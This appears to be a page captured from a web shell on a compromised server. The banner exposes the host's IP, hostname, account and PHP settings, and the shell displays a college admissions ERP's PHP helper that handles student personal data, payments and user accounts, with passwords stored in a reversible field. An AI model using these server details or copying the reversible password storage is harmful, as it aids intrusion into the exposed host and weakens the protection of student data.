MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/ecampus.ncriptech.com/application/controllers/../helpers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/ecampus.ncriptech.com/application/controllers/../helpers/booking_helper.php
<?php  if (!defined('BASEPATH')) exit('No direct script access allowed');

function generate_stu_code($data){
    if(!empty($data['student_code_settings'])){
        if ($data['student_code_settings']=='college_code/course_code/session/student_number') {
            $stu_user_code=strtoupper($data['user_code'].'/'.$data['course_code']).'/'.$data['session_start_year'].'-'.$data['session_end_year'].'/'.$data['student_id_val'];
        }
    }else{
        $stu_user_code=strtoupper($data['user_code'].'/'.$data['course_code']).'/'.$data['session_start_year'].'-'.$data['session_end_year'].'/'.$data['student_id_val'];
    }

    return $stu_user_code;
}

function check_duplicate_students_data($ph_no){
    $student_data=CI()->um->_get_duplicate_student(array('stu_ph_no'=>$ph_no));

    if($student_data->counted>0){
        return true;
    }  else{
        return false;
    }
}

function booking_impt_data($inst_id,$session,$course,$db_group){
    $course_data=CI()->cm->get_course(array('course_id'=>$course,'course_inst_id'=>$inst_id),TRUE,$db_group);
    $session_data=CI()->sessm->get_session(array('session_id'=>$session,'session_inst_id'=>$inst_id),TRUE,$db_group);
    $course_session_data=CI()->sessm->get_session_course(array('session_inst_id'=>$inst_id,'session_id'=>$session,'session_course_id'=>$course),TRUE,$db_group);
    $subject_data=CI()->cm->get_subject(array('subject_inst_id'=>$inst_id,'subject_course_id'=>$course),TRUE,$db_group);
    $get_college_seat_settings=CI()->sm->get_college_seat_settings(array('seats_inst_id'=>$inst_id,'seats_sess_id'=>$session,'seats_course_id'=>$course),TRUE,$db_group);

    return ['session_data'=>$session_data,'course_data'=>$course_data,'course_session_data'=>$course_session_data,'subject_data'=>$subject_data,'get_college_seat_settings'=>$get_college_seat_settings];
}

function store_students_academics($data){
    $academic_data=array(
        'acad_stu_id'=>$data['student_user_id'],
        'acad_stu_inst_id'=>$data['college_id'],
        'acad_stu_inst_parent_id'=>$data['parent_inst_id'],
        'acad_10th_board'=>$data['stu_10th_board'],
        'acad_10th_yop'=>$data['stu_10th_yop'],
        'acad_10th_total_marks'=>$data['stu_10th_total_marks'],
        'acad_10th_percentage'=>$data['stu_10th_percentage_marks'],
        'acad_10th_division'=>$data['stu_10th_division'],
        'acad_10th_subjects'=>$data['stu_10th_subjects'],
        'acad_12th_board'=>$data['stu_10_2_board'],
        'acad_12th_yop'=>$data['stu_10_2_yop'],
        'acad_12th_total_marks'=>$data['stu_10_2_total_marks'],
        'acad_12th_percentage'=>$data['stu_10_2_percentage_marks'],
        'acad_12th_division'=>$data['stu_10_2_division'],
        'acad_12th_subjects'=>$data['stu_10_2_subjects'],
        'acad_grad_board'=>$data['stu_grad_board'],
        'acad_grad_yop'=>$data['stu_grad_yop'],
        'acad_grad_total_marks'=>$data['stu_grad_total_marks'],
        'acad_grad_percentage'=>$data['stu_grad_percentage_marks'],
        'acad_grad_division'=>$data['stu_grad_division'],
        'acad_grad_subjects'=>$data['stu_grad_subjects'],
        'acad_pgd_board'=>$data['stu_post_grad_board'],
        'acad_pgd_yop'=>$data['stu_post_grad_yop'],
        'acad_pgd_total_marks'=>$data['stu_post_grad_total_marks'],
        'acad_pgd_percentage'=>$data['stu_post_grad_percentage_marks'],
        'acad_pgd_division'=>$data['stu_post_grad_division'],
        'acad_pgd_subjects'=>$data['stu_post_grad_subjects'],
        'acad_others_board'=>$data['stu_other_grad_board'],
        'acad_others_yop'=>$data['stu_other_grad_yop'],
        'acad_others_total_marks'=>$data['stu_other_grad_total_marks'],
        'acad_others_percentage'=>$data['stu_other_grad_percentage_marks'],
        'acad_others_division'=>$data['stu_other_grad_division'],
        'acad_others_subjects'=>$data['stu_other_grad_subjects'],
        'created_by'=>$data['user_id'],
        'created_at'=>date('Y-m-d')
    );

    CI()->um->store_students_academics($academic_data);
}

function store_students_academics_minimal($data){
    $academic_details=array(
        'acad_stu_id'=>$data['student_user_id'],
        'acad_stu_inst_id'=>$data['inst_id'],
        'acad_stu_inst_parent_id'=>$data['parent_inst_id'],
        'acad_12th_board'=>$data['booking_last_qualification_board'],
        'acad_12th_total_marks'=>$data['total_marks'],
        'acad_12th_yop'=>$data['passing_year'],
        'acad_12th_percentage'=>$data['passing_percentage'],
        'created_by'=>$data['created_by'],
        'created_at'=>date('Y-m-d H:i:s'),
    );

    CI()->um->store_students_academics($academic_details);
}

function store_students($data){
    $student_data=array(
        'stu_inst_id'=>$data['college_id'],
        'stu_inst_parent_id'=>$data['parent_inst_id'],
        'stu_first_name'=>$data['stu_first_name'],
        'stu_mid_name'=>$data['stu_middle_name'],
        'stu_last_name'=>$data['stu_last_name'],
        'stu_email'=>$data['stu_email_address'],
        'stu_ph_no'=>$data['stu_ph_no'],
        'stu_whatsapp_no'=>$data['stu_whatsapp_no'],
        'stu_aadhar'=>$data['stu_aadhar_no'],
        'stu_dob'=>date('Y-m-d',strtotime($data['stu_dob'])),
        'stu_gender'=>$data['stu_gender'],
        'stu_religion'=>$data['stu_religion'],
        'stu_caste'=>$data['stu_caste'],
        'stu_blood_group'=>$data['stu_blood_grp'],
        'stu_nationality'=>$data['stu_nationality'],
        'stu_has_illness'=>$data['stu_has_illness'],
        'stu_illness_remarks'=>$data['stu_illness_remarks'],
        'stu_identity_marks'=>$data['stu_identiy_mark'],
        'stu_father_first_name'=>$data['stu_father_first_name'],
        'stu_father_mid_name'=>$data['stu_father_mid_name'],
        'stu_father_last_name'=>$data['stu_father_last_name'],
        'stu_father_ph_no'=>$data['stu_father_mobile'],
        'stu_father_email'=>$data['stu_father_email_address'],
        'stu_father_income'=>$data['stu_father_income'],
        'stu_father_occupation'=>$data['stu_father_occupation'],
        'stu_mother_first_name'=>$data['stu_mother_first_name'],
        'stu_mother_mid_name'=>$data['stu_mother_mid_name'],
        'stu_mother_last_name'=>$data['stu_mother_last_name'],
        'stu_mother_ph_no'=>$data['stu_mother_mobile'],
        'stu_mother_email'=>$data['stu_mother_email_address'],
        'stu_mother_income'=>$data['stu_mother_income'],
        'stu_mother_occupation'=>$data['stu_mother_occupation'],
        'stu_guardian_first_name'=>$data['stu_guardian_first_name'],
        'stu_guardian_mid_name'=>$data['stu_guardian_mid_name'],
        'stu_guardian_last_name'=>$data['stu_guardian_last_name'],
        'stu_guardian_ph_no'=>$data['stu_guardian_mobile'],
        'stu_guardian_email'=>$data['stu_guardian_email_address'],
        'stu_guardian_income'=>$data['stu_guardian_income'],
        'stu_guardian_occupation'=>$data['stu_guardian_occupation'],
        'stu_cur_addr_co'=>$data['stu_c_o'],
        'stu_cur_addr_country'=>$data['stu_nationality'],
        'stu_cur_state'=>$data['stu_state'],
        'stu_cur_city'=>$data['stu_city_village'],
        'stu_cur_district'=>$data['stu_district'],
        'stu_cur_pincode'=>$data['stu_pincode'],
        'stu_cur_ps'=>$data['stu_p_s'],
        'stu_cur_po'=>$data['stu_p_o'],
        'stu_cur_address_line'=>'',
        'stu_cur_address_landmark'=>$data['stu_address_landmark'],
        'stu_perma_addr_co'=>$data['stu_perma_c_o'],
        'stu_perma_addr_country'=>$data['stu_nationality'],
        'stu_perma_state'=>$data['stu_perma_state'],
        'stu_perma_city'=>$data['stu_perma_city_village'],
        'stu_perma_district'=>$data['stu_perma_district'],
        'stu_perma_pincode'=>$data['stu_perma_pincode'],
        'stu_perma_ps'=>$data['stu_perma_p_s'],
        'stu_perma_po'=>$data['stu_perma_p_o'],
        'stu_perma_address_line'=>'',
        'stu_perma_address_landmark'=>$data['stu_perma_address_landmark'],
        'stu_same_address'=>$data['address_same_as'],
        'stu_regster_mode'=>$data['admission_type'],
        'stu_last_qualification'=>null,
        'stu_passing_year'=>null,
        'stu_passing_percentage'=>null,
        'stu_avail_hostel'=>$data['avail_hostel'],
        'created_by'=>$data['user_id'],
        'created_at'=>date('Y-m-d')
    );

    //print_obj($student_data);die;

    $student_id=CI()->um->store_students($student_data);

    return $student_id;
}


function store_students_minimal($data){
    $student_data=array(  
        'stu_inst_type'=>$data['inst_type'],                      
        'stu_inst_id'=>$data['inst_id'],
        'stu_inst_parent_id'=>$data['parent_inst_id'],
        'stu_user_id'=>$data['student_user_id'],
        'stu_first_name'=>$data['first_name'],
        'stu_mid_name'=>$data['middle_name'],
        'stu_last_name'=>$data['last_name'],
        'stu_email'=>$data['email_address'],
        'stu_ph_no'=>$data['ph_no'],
        'stu_whatsapp_no'=>$data['whatsapp_no'],
        'stu_dob'=>date('Y-m-d',strtotime($data['booking_dob'])),
        'stu_gender'=>$data['gender'],
        'stu_nationality'=>$data['nationality'],
        'stu_last_qualification_board'=>$data['booking_last_qualification_board'],
        'stu_last_qualification'=>$data['last_qualification'],
        'stu_passing_year'=>$data['passing_year'],
        'stu_passing_percentage'=>$data['passing_percentage'],
        'stu_record_old'=>$data['is_record_old'],
        'created_by'=>$data['created_by'],
        'created_at'=>date('Y-m-d')
    );

    $student_id=CI()->um->store_students($student_data);

    return $student_id;
}

function store_admission_data($data){
    $admission_application_type=$data['admission_application_type'];
    $admission_details=array(
        'admission_seat_booking_converted'=>(isset($data['booking_type']) && $data['booking_type']=='seat_booking_convert')?'yes':'no',
        'admission_seat_booking_id'=>($data['booking_id']>0)?$data['booking_id']:NULL,
        'admission_stu_id'=>$data['student_user_id'],
        'admission_inst_id'=>$data['college_id'],
        'admission_inst_parent_id'=>$data['parent_inst_id'],
        'admission_sess_id'=>$data['admission_session'],
        'admission_course_id'=>$data['admission_course'],
        'admission_subject_id'=>$data['admission_subject_id'],
        'admission_section_id'=>$data['admission_section'],
        'admission_type'=>$data['admission_type'],
        'admission_application_type'=>$admission_application_type,
        'admission_agent_id'=>$data['admission_agent'],
        'admission_code'=>$data['admission_code'],
        'admission_avail_hostel'=>$data['avail_hostel'],
        'admission_hostel_id'=>$data['hostel_id'],
        'admission_date'=>(!empty($data['admission_date']))?date('Y-m-d',strtotime($data['admission_date'])):null,
        'created_by'=>$data['user_id'],
        'created_at'=>date('Y-m-d')
    );

    $admission_id=CI()->adm->store_admission_data($admission_details);

    return $admission_id;
}

function update_stu_course_cost($data){
	$prev_cost_data=CI()->um->get_course_cost(array('cost_inst_id'=>$data['inst_id'],
        'cost_inst_parent_id'=>$data['parent_inst_id'],
        'cost_stu_id'=>$data['student_user_id'],
        'cost_session_id'=>$data['session'],
        'cost_cousre_id'=>$data['course']));

    if(!empty($prev_cost_data)){

        $stu_course_revised_cost=array(
            'cost_inst_id'=>$data['inst_id'],
            'cost_inst_parent_id'=>$data['parent_inst_id'],
            'cost_inst_type'=>$data['inst_type'],
            'cost_stu_id'=>$data['student_user_id'],
            'cost_session_id'=>$data['session'],
            'cost_cousre_id'=>$data['course'],
            'cost_value'=>$data['stu_course_fees'],
            'cost_last_value'=>$prev_cost_data->cost_value,
            'cost_revised'=>'yes',
            'revised_by'=>$data['created_by'],
            'created_by'=>$data['created_by'],
            'revised_at'=>date('Y-m-d'),
            'created_at'=>date('Y-m-d')
        );

        CI()->um->update_course_cose($stu_course_revised_cost,array('cost_id'=>$prev_cost_data->cost_id));
    }else{
        $stu_course_revised_cost=array(
            'cost_inst_id'=>$data['inst_id'],
            'cost_inst_parent_id'=>$data['parent_inst_id'],
            'cost_inst_type'=>$data['inst_type'],
            'cost_stu_id'=>$data['student_user_id'],
            'cost_session_id'=>$data['session'],
            'cost_cousre_id'=>$data['course'],
            'cost_value'=>$data['stu_course_fees'],
            'cost_last_value'=>$data['stu_course_last_fees'],
            'cost_revised'=>'yes',
            'revised_by'=>$data['created_by'],
            'updated_by'=>$data['created_by'],
            'revised_at'=>date('Y-m-d'),
            'updated_at'=>date('Y-m-d')
        );

        CI()->um->store_course_cost($stu_course_revised_cost);
    } 
}


function store_seat_booking_payment_data($data){

	$booking_payment_data=array(
        'booking_pk_id'=>$data['booking_id'],
        'booking_inst_id'=>$data['inst_id'],
        'booking_inst_parent_id'=>$data['parent_inst_id'],
        'booking_stu_id'=>$data['student_user_id'],
        'booking_course_id'=>$data['course'],
        'booking_subject_id'=>$data['booking_subject_id'],
        'booking_sess_id'=>$data['session'],
        'booking_payment'=>$data['booking_amount'],
        'booking_pay_mode'=>$data['pay_mode'],
        'booking_payment_bank'=>$data['pay_bank_name'],
        'booking_payment_checq_no'=>$data['pay_bank_cheque_no'],
        'booking_payment_checq_files_ids'=>$data['booking_payment_checq_files_ids'],
        'booking_payment_deposite_bank'=>$data['pay_deposite_bank'],
        'booking_payment_paid'=>$data['paid'],
        'booking_payment_recieved_date'=>$data['booking_payment_date'],
        'created_at'=>date('Y-m-d'),
        'created_by'=>$data['created_by']
    );

	$payment_id=CI()->adm->store_seat_booking_payment_data($booking_payment_data);

	return $payment_id;
}


function store_agent_payment($data,$booking_type='seat_booking'){
    //echo $booking_type;
    //print_obj($data);
	$inst_id=$data['inst_id'];
	$parent_inst_id=$data['parent_inst_id'];
	$student_user_id=$data['student_user_id'];
	
    if($booking_type=='admission'){
        $course=$data['admission_course'];
        $booking_subject_id=$data['admission_subject_id'];
        $session=$data['admission_session'];
        $booking_id=$data['admission_id'];
        $booking_code=$data['admission_code'];
        $pay_booking_agent=$data['admission_agent'];
    }else if($booking_type=='seat_booking'){
        $course=$data['course'];
        $booking_subject_id=$data['booking_subject_id'];
        $session=$data['session'];
        $booking_id=$data['booking_id'];
        $booking_code=$data['booking_code'];
        $pay_booking_agent=$data['pay_booking_agent'];        
    }	
	
	$booking_agent_payout_amount=$data['booking_agent_payout_amount'];

	if($booking_subject_id==null){
        $agent_payment_found_param=array('inst_id'=>$inst_id,'inst_parent_id'=>$parent_inst_id,'agent_id'=>$pay_booking_agent,'session_id'=>$session,'course_id'=>$course,'stu_id'=>$student_user_id,'booking_type'=>$booking_type);
    }else{
        $agent_payment_found_param=array('inst_id'=>$inst_id,'inst_parent_id'=>$parent_inst_id,'agent_id'=>$pay_booking_agent,'session_id'=>$session,'course_id'=>$course,'subject_id'=>$booking_subject_id,'stu_id'=>$student_user_id,'booking_type'=>$booking_type);
    }

    $agent_payment_found=CI()->fm->get_agent_payment($agent_payment_found_param);

    

    if(empty($agent_payment_found)){
        $agent_payment_data=array(
            'booking_id'=>$booking_id,
            'booking_code'=>$booking_code,
            'inst_id'=>$inst_id,
            'inst_parent_id'=>$parent_inst_id,
            'stu_id'=>$student_user_id,
            'agent_id'=>$pay_booking_agent,
            'booking_type'=>$booking_type,
            'session_id'=>$session,
            'course_id'=>$course,
            'subject_id'=>$booking_subject_id,
            'amount_value'=>$booking_agent_payout_amount,
            'amount_paid'=>'no',
            'amount_created_at'=>date('Y-m-d')
        );

        // print_obj($agent_payment_data);
        CI()->fm->store_agent_payment($agent_payment_data);
    }
}


function store_seatbooking_payment_details($data){
    $booking_code=ge_rand_code('SB');
    $payment_details=array(
        'details_type'=>'seat_booking',
        'details_type_text'=>'Seat Booking Fees '.$data['course_code'].'/'.$data['session_start_year'].'-'.$data['session_end_year'].' - '.$booking_code,
        'details_payment_type'=>'seatbooking_fees',
        'details_payment_id'=>$data['seat_booking_payment_id'],
        'details_type_id'=>$data['booking_id'],
        'details_inst_id'=>$data['inst_id'],
        'details_parent_inst_id'=>$data['parent_inst_id'],
        'details_stu_id'=>$data['student_user_id'],
        'details_agent_id'=>($data['pay_booking_agent']>0)?$data['pay_booking_agent']:null,
        'details_sess_id'=>$data['session'],
        'details_course_id'=>$data['course'],
        'details_subject_id'=>$data['booking_subject_id'],
        'details_payment_platform'=>$data['pay_mode'],
        'details_amount'=>$data['booking_amount'],
        'details_discount_amount'=>'0',
        'details_txn_id'=>$data['txn'],
        'details_utr_id'=>$data['utr'],
        'details_cheque_no'=>($data['pay_mode']==='cheque')?$data['pay_bank_cheque_no']:null,
        'details_pay_checq_files_ids'=>($data['pay_mode']==='cheque')?$data['booking_payment_checq_files_ids']:null,
        'details_order_id'=>$booking_code.'_stuinst',
        'details_order_code'=>$booking_code,
        'details_accounting_type'=>'income',
        'details_accounting_type_id'=>'1',
        'details_status'=>$data['details_status'],
        'details_msg'=>$data['details_msg'],
        'details_created_by_type'=>$data['user_type'],
        'details_msg'=>($data['pay_mode']!=='online')?ucwords($data['pay_mode'].' recieved'):'',
        'details_created_by'=>$data['created_by'],
        'details_created_at'=>date('Y-m-d H:i:s')
    );

    $payment_details_id=CI()->fm->store_payment_details($payment_details);

    return $payment_details_id;
}

function _store_payment_details($data){
	$payment_details=array(
        'details_type'=>$data['details_type'],
        'details_type_text'=>$data['details_type_text'],
        'details_payment_type'=>$data['details_payment_type'],
        'details_payment_id'=>$data['payment_id'],
        'details_type_id'=>$data['booking_id'],
        'details_inst_id'=>$data['inst_id'],
        'details_parent_inst_id'=>$data['parent_inst_id'],
        'details_stu_id'=>$data['student_user_id'],
        'details_agent_id'=>($data['pay_booking_agent']>0)?$data['pay_booking_agent']:null,
        'details_sess_id'=>$data['session'],
        'details_course_id'=>$data['course'],
        'details_subject_id'=>$data['booking_subject_id'],
        'details_payment_platform'=>$data['pay_mode'],
        'details_amount'=>$data['booking_amount'],
        'details_discount_amount'=>$data['details_discount_amount'],
        'details_txn_id'=>$data['txn'],
        'details_utr_id'=>$data['utr'],
        'details_order_id'=>$data['booking_order_id'],
        'details_order_code'=>$data['booking_code'],
        'details_created_by_type'=>$data['user_type'],
        'details_accounting_type'=>$data['details_accounting_type'],
        'details_status'=>$data['details_status'],
        'details_msg'=>$data['details_msg'],
        'details_created_by'=>$data['created_by'],
        'details_created_at'=>date('Y-m-d')
    );

    if(isset($data['details_parent_id'])){
        $payment_details['details_parent_id']=$data['details_parent_id'];
    }

    $payment_details_id=CI()->fm->store_payment_details($payment_details);

    return $payment_details_id;
}


function store_seat_booking_data($data){
    $booking_code=ge_rand_code('SB');
	$booking_data_to_store=array(
        'booking_stu_id'=>$data['student_user_id'],
        'booking_stu_profile_id'=>$data['student_profile_id'],
        'booking_inst_id'=>$data['inst_id'],
        'booking_inst_parent_id'=>$data['parent_inst_id'],
        'booking_sess_id'=>$data['session'],
        'booking_course_id'=>$data['course'],
        'booking_subject_id'=>$data['booking_subject_id'],
        'booking_code'=>$booking_code,
        'booking_agent_id'=>$data['pay_booking_agent'],
        'is_lateral'=>$data['is_lateral'],
        'created_by'=>$data['created_by'],
        'created_at'=>date('Y-m-d H:i:s')
    );

    $booking_id=CI()->adm->store_seat_booking_data($booking_data_to_store);

    return $booking_id;
}


function store_users($data){

    $get_user=CI()->um->get_user(array('user_name'=>$data['user_name']),$data['user_type']);

   // print_obj($get_user);

    if(empty($get_user)){
        $_userdata=array(
            'user_name'=>$data['user_name'],
            'user_code'=>$data['user_code'],
            'user_password'=>$data['password'],
            'user_password_visible'=>encode_data($data['password_visible']),
            'user_type'=>$data['user_type'],
            'user_permissions'=>$data['permissions'],
            'user_status'=>$data['user_status'],
            'created_by_type'=>$data['created_by_type'],
            'created_by'=>$data['user_id'],
            'created_at'=>date('Y-m-d')
        );

        $student_user_id=CI()->um->store_users($_userdata);
    }else{
        if($get_user->is_deleted=='yes'){
            $_userdata=array(
                'user_name'=>$data['user_name'],
                'user_code'=>$data['user_code'],
                'user_password'=>$data['password'],
                'user_password_visible'=>encode_data($data['password_visible']),
                'user_type'=>$data['user_type'],
                'user_permissions'=>$data['permissions'],
                'user_status'=>$data['user_status'],
                'is_deleted'=>'no',
                'updated_by_type'=>$data['created_by_type'],
                'updated_by'=>$data['user_id'],
                'updated_at'=>date('Y-m-d')
            );

            CI()->um->delete_users(array('user_id'=>$get_user->user_id));
            

            if($data['user_type']=='student'){
                CI()->um->delete_students(array('stu_user_id'=>$get_user->stu_user_id));
            }


            $student_user_id=CI()->um->store_users($_userdata);
        }else{
            $student_user_id=$get_user->user_id;
        }        
    }
        

    return $student_user_id;
}


function change_course_amount($data){
    $stu_booking_fees=$data['stu_booking_fees'];
    $stu_course_fees=$data['stu_course_fees'];
    $inst_id=$data['inst_id'];
    $course=$data['course'];
    $session=$data['session'];
    $course_amount_changed=$data['course_amount_changed'];
    $stu_user_id=$data['stu_user_id'];

    $booking_amount_data=CI()->sessm->get_session_courses(array('session_id'=>$session,'session_inst_id'=>$inst_id,'session_course_id'=>$course));

    //$booking_amount_data=CI()->sessm->__get_session_course_student_wise(array('session_stu_id'=>$data['student_user_id']),'session_course_id,session_course_fees',TRUE);

    if(!empty($booking_amount_data)){
       
        if($course_amount_changed=='yes'){
            $course_booking_amount=($stu_booking_fees>0)?$stu_booking_fees:$stu_course_fees;
        }if($course_amount_changed=='no'){
            $stu_course_fees= $booking_amount_data->session_course_fees;                                 
            $course_booking_amount=($booking_amount_data->session_course_booking_fee>0)?$booking_amount_data->session_course_booking_fee:$booking_amount_data->session_course_fees;
        }

        CI()->sessm->store_session_course_student_wise(array('session_id'=>$session,'session_inst_id'=>$inst_id,'session_stu_id'=>$data['student_user_id'],'session_course_id'=>$course,'session_course_fees'=>$stu_course_fees,'session_course_booking_fee'=>$course_booking_amount));

    }

    return $booking_amount_data;

   
}


function upload_cheque($data,$obj){
    if(!empty($pay_bank_cheque_no) && !empty($pay_bank_name) && $pay_deposite_bank>0){
        if(isset($_FILES['cheque_scan_frontcopy_file']) && $_FILES['cheque_scan_frontcopy_file']['name']!=''){

            $cheque_scan_frontcopy_file=array(
                'file_size'=>'5',
                'file_name'=>'cheque_scan_frontcopy_file',
                'file_types'=>'png,jpg,jpeg',
                'file_storage_type'=>'cheque_scan_frontcopy_file',
                'file_storage_dir'=>$data['storage_dir'],
                'file_storage_type_id'=>$data['student_user_id'],
                'file_parent_id'=>$data['inst_id'],
                'file_compress'=>false,
                'file_operation_type'=>'new',
                'file_uploaded_by'=>$data['user_id']
            );

            $cheque_scan_frontcopy_file_id=$obj->onUploadFiles($cheque_scan_frontcopy_file);
        }


        if(isset($_FILES['cheque_scan_backcopy_file']) && $_FILES['cheque_scan_backcopy_file']['name']!=''){

            $cheque_scan_backcopy_file=array(
                'file_size'=>'5',
                'file_name'=>'cheque_scan_backcopy_file',
                'file_types'=>'png,jpg,jpeg',
                'file_storage_type'=>'cheque_scan_backcopy_file',
                'file_storage_dir'=>$data['storage_dir'],
                'file_storage_type_id'=>$data['student_user_id'],
                'file_parent_id'=>$data['inst_id'],
                'file_compress'=>false,
                'file_operation_type'=>'new',
                'file_uploaded_by'=>$data['user_id']
            );

            $cheque_scan_backcopy_file_id=$obj->onUploadFiles($cheque_scan_backcopy_file);
        }
    }

    return ['cheque_scan_frontcopy_file_id'=>$cheque_scan_frontcopy_file_id,'cheque_scan_backcopy_file_id'=>$cheque_scan_backcopy_file_id];
}

function store_cheque_details($data){
    
    $cheque_details_to_add=array(
        'cheque_details_payment_id'=>$data['payment_id'],//PK of nt_institute_payments_details
        'cheque_details_inst_id'=>$data['inst_id'],
        'cheque_details_inst_parent_id'=>$data['parent_inst_id'],
        'cheque_details_stu_id'=>$data['student_user_id'],
        'cheque_details_agent_id'=>'0',
        'cheque_details_deposite_bank_id'=>$data['pay_deposite_bank'],
        'cheque_details_bank_name'=>$data['pay_bank_name'],
        'cheque_details_no'=>$data['pay_bank_cheque_no'],
        'cheque_details_amount'=>$data['booking_amount'],
        'cheque_details_bounce_amount'=>'0',
        'cheque_is_cleared'=>'no',
        'cheque_is_bounced'=>'no',
        'cheque_details_recieved_date'=>date('Y-m-d H:i:s'),
        'cheque_details_deposite_date'=>null,
        'cheque_details_cash_date'=>null,
        'cheque_details_created_by'=>$data['created_by']
    );


    CI()->fm->store_cheque_details($cheque_details_to_add);
}



function store_accounts_details($data,$payment_id){  
    $accounting_type=$data['accounting_type'];
    if($accounting_type=='income'){
        $dr_cr='credit';
    }else if($accounting_type=='expenditure'){
        $dr_cr='debit';
    }

    $category=CI()->vm->get_accounts_category_data(array('category_id'=>$data['account_head']));
    $category_parent_type=CI()->vm->get_accounts_category_types(array('type_id'=>$category->category_type_id));
    
    $data_to_add=array(
        'details_type'=>'other',
        'details_payment_type'=>'other',
        'details_type_text'=>$data['account_income_name'],
        'details_created_at_actual'=>date('Y-m-d H:i:s'),
        'details_created_at'=>date('Y-m-d',strtotime($data['account_transact_date'])),
        'details_type_id'=>'0',
        'details_emp_id'=>$data['emp_id'],
        'details_inst_id'=>$data['inst_id'],
        'details_parent_inst_id'=>$data['inst_parent_id'],
        'details_vendor_id'=>$data['vendor_id'],
        'details_payment_platform'=>$data['account_payment_method'],
        'details_payment_note'=>$data['account_transact_desc'],
        'details_cheque_no'=>$data['account_cheque_no'],
        'details_pay_currency'=>'inr',
        'details_amount'=>$data['account_amount'],
        'details_accounting_type'=>$data['accounting_type'],
        'details_accounting_type_id'=>$data['account_head'],
        'details_accounting_dr_cr'=>$dr_cr,
        'details_accounting_type_p_id'=>$category_parent_type->type_id,
        'details_status'=>'success',
        'details_created_by_type'=>$data['inst_type'],
        'details_created_by'=>$data['emp_id']
    );

    
    $amount=$data['account_amount'];
    $last_balance=0;

    $account_credit_debit=$data['account_credit_debit'];
    if($accounting_type=='income'){
        if($account_credit_debit=='cash'){
            //Cash balance update
            $balance_opening_amount=0;
            $get_balance_data=CI()->sm->get_cash_balance(array('balance_inst_id'=>$data['inst_id'],'balance_status'=>'active'));

            if(!empty($get_balance_data)){
                $last_balance=$get_balance_data->balance_opening_amount;
                $balance_opening_amount=$get_balance_data->balance_opening_amount;
            }

            $balance_amount=$last_balance+$amount;
            $cash_balance=array(
                'balance_inst_id'=>$data['inst_id'],                
                'balance_opening_amount'=>($balance_opening_amount>0)?$balance_opening_amount:$balance_amount,
                'balance_adjusted_amount'=>$amount,
                'balance_status'=>'active',
                'balance_created_by'=>$data['emp_id']
            );

            $balance_id=CI()->sm->store_cash_balance_data($cash_balance);
            if($balance_id){
                if(!empty($get_balance_data)){
                    CI()->sm->update_cash_balance_data(array('balance_status'=>'inactive','balance_updated_by'=>$data['emp_id']),array('balance_id'=>$get_balance_data->balance_id));
                }                
            }
        }else  if($account_credit_debit!='0' || $account_credit_debit!='later'){
            //Bank Balance update
            $balance_opening_amount=0;
            $get_balance_data=CI()->sm->get_bank_balance(array('balance_inst_id'=>$data['inst_id'],'balance_bank_id'=>$account_credit_debit,'balance_inst_type'=>$data['inst_type'],'balance_status'=>'active'));

            if(!empty($get_balance_data)){
                $last_balance=$get_balance_data->balance_opening_amount;
                $balance_opening_amount=$get_balance_data->balance_opening_amount;
            }

            $balance_amount=$last_balance+$amount;
            $bank_balance=array(
                'balance_inst_id'=>$data['inst_id'],
                'balance_bank_id'=>$account_credit_debit,
                'balance_opening_amount'=>$balance_amount,
                'balance_adjusted_amount'=>$amount,
                'balance_status'=>'active',
                'balance_created_by'=>$data['emp_id']
            );

            $balance_id=CI()->sm->store_bank_balance_data($bank_balance);
            if($balance_id){
                if(!empty($get_balance_data)){
                    CI()->sm->update_bank_balance_data(array('balance_status'=>'inactive','balance_updated_by'=>$data['emp_id']),array('balance_id'=>$get_balance_data->balance_id));
                }                
            }
        }        
    }else if($accounting_type=='expenditure'){
        // || $account_credit_debit!='later'
        if($account_credit_debit=='cash'){
            $get_balance_data=CI()->sm->get_cash_balance(array('balance_inst_id'=>$data['inst_id'],'balance_status'=>'active'));

            if(!empty($get_balance_data)){
                $last_balance=$get_balance_data->balance_opening_amount;
            }

            if($last_balance>=$amount){
                $balance_amount=$last_balance-$amount;
                $cash_balance=array(
                    'balance_inst_id'=>$data['inst_id'],
                    'balance_opening_amount'=>$balance_amount,
                    'balance_adjusted_amount'=>$amount,
                    'balance_status'=>'active',
                    'balance_is_credit_debit'=>'debit',
                    'balance_created_by'=>$data['emp_id']
                );

                $balance_id=CI()->sm->store_cash_balance_data($cash_balance);
            }else{
                $balance_id=$get_balance_data->balance_id;
            }
            
            if($balance_id){
                if(!empty($get_balance_data)){
                    CI()->sm->update_cash_balance_data(array('balance_status'=>'inactive'),array('balance_id'=>$get_balance_data->balance_id));
                }                
            }
        }else if($account_credit_debit!='0'){
            //Bank Balance update
            $get_balance_data=CI()->sm->get_bank_balance(array('balance_inst_id'=>$data['inst_id'],'balance_bank_id'=>$account_credit_debit,'balance_inst_type'=>$data['inst_type'],'balance_status'=>'active'));

            //print_obj($get_balance_data);die;

            if(!empty($get_balance_data)){
                $last_balance=$get_balance_data->balance_opening_amount;
            }

            if($last_balance>=$amount){
                $balance_amount=$last_balance-$amount;
                $cash_balance=array(
                    'balance_inst_id'=>$data['inst_id'],
                    'balance_bank_id'=>$account_credit_debit,
                    'balance_opening_amount'=>$balance_amount,
                    'balance_adjusted_amount'=>$amount,
                    'balance_status'=>'active',
                    'balance_is_credit_debit'=>'debit',
                    'balance_created_by'=>$data['emp_id']
                );

                $balance_id=CI()->sm->store_bank_balance_data($cash_balance);
            }else{
                $balance_id=$get_balance_data->balance_id;
            }

            if($balance_id){
                if(!empty($get_balance_data)){
                    CI()->sm->update_bank_balance_data(array('balance_status'=>'inactive','balance_updated_by'=>$data['emp_id']),array('balance_id'=>$get_balance_data->balance_id));
                }                
            }
        }else {
            $balance_id=0;
        }
    }

    if($balance_id!=0){
        if($payment_id==0){
            $details_id=CI()->fm->store_payment_details($data_to_add);
            $txn=ge_rand_code_v1('TXN'.$data['inst_id'].$details_id);
            CI()->fm->update_payment_details(array('details_txn_id'=>$txn),array('details_id'=>$details_id));
        }else{
            $data_to_add['details_updated_by_type']=$data['inst_type'];
            $data_to_add['details_updated_by']=$data['emp_id'];
